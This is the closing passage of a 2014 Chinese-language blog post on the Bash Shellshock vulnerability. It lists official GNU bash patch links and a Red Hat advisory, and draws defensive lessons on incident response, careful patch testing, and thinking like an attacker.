http://ftp.gnu.org/pub/gnu/bash/bash-4.2-patches/bash42-048
http://ftp.gnu.org/pub/gnu/bash/bash-4.3-patches/bash43-025
//bypass之后的第二套修补补丁
https://rhn.redhat.com/errata/RHSA-2014-1306.html
Relevant Link:
http://ftp.gnu.org/pub/gnu/bash/bash-3.2-patches/bash32-052
7. 如何避免此类漏洞继续出现
从这次应急响应的过程来看,我们我们从中得到几点思考
. 安全攻防的应急响应是一个"战线",这丝毫不夸张,在高危漏洞爆发的那一刻,所有的攻防措施都应该以秒作为单位,应急响应的处理流程应该和传统的攻防模式(感知->阻断->修复)有所区分。在大规模漏洞的应急响应中,有2点是
很重要的
) 在第一时间进行waf的hotpatch,阻断外部的攻击
) 分析出漏洞的成因,向用户发布响应公告,安抚客户的心态 . 不应该出现一个patch一出现,就立刻被绕过的现象
漏洞的修复是一件很严肃的事情,不管是正常模式下的攻防过程中的漏洞修复,还是应急相应下的漏洞修复,都不应该牺牲任何的完备性去简单的修改几行代码。今后在做漏洞修复的时候,必须要完成基本的几个流程
) 分析漏洞原理
) 枚举攻击方式
) 通过修改代码,找到针对性修复方案
) 得到方案后,至少要有1~2天的逆向测试周期,fuzz测试等手段。可以手工,也可以凭经验进行,但是时间是必不可少的,着急上线只会引入更多的漏洞和bypass后的尴尬 . 如何避免和更好的发现这种代码级的漏洞
从漏洞攻防的历史上来看,安全研究员永远落后于黑客似乎是一个魔咒,而且好像好是不可避免的魔咒。但是并不意味着黑客可以永远强势,我么的产品研发人员需要时刻保持逆向思维,在设计方案和产品运营的时候多从反的反面去思考
) 如果是黑客,他会采取怎样的姿势去攻击
) 我们的产品会不会反过来被黑客利用
) 从极限领域的角度去思考,例如某个进程现在发现的可以同时启动多个进程、程序可以被kill、程序的磁盘文件可以被删除,在这些特殊的场景下,我们的产品(程序)还能不能正常发挥原来的设计思想
) CMS漏洞攻防中流行的2次注入、3次注入都是发生在一些及其特殊的先决场景下的,只有把这些场景考虑到了,才不会给黑客利用的机会 . 像黑客一样去思考
时不时地"搞搞"自己家的东西
Copyright (c) 2014 LittleHann All rights reserved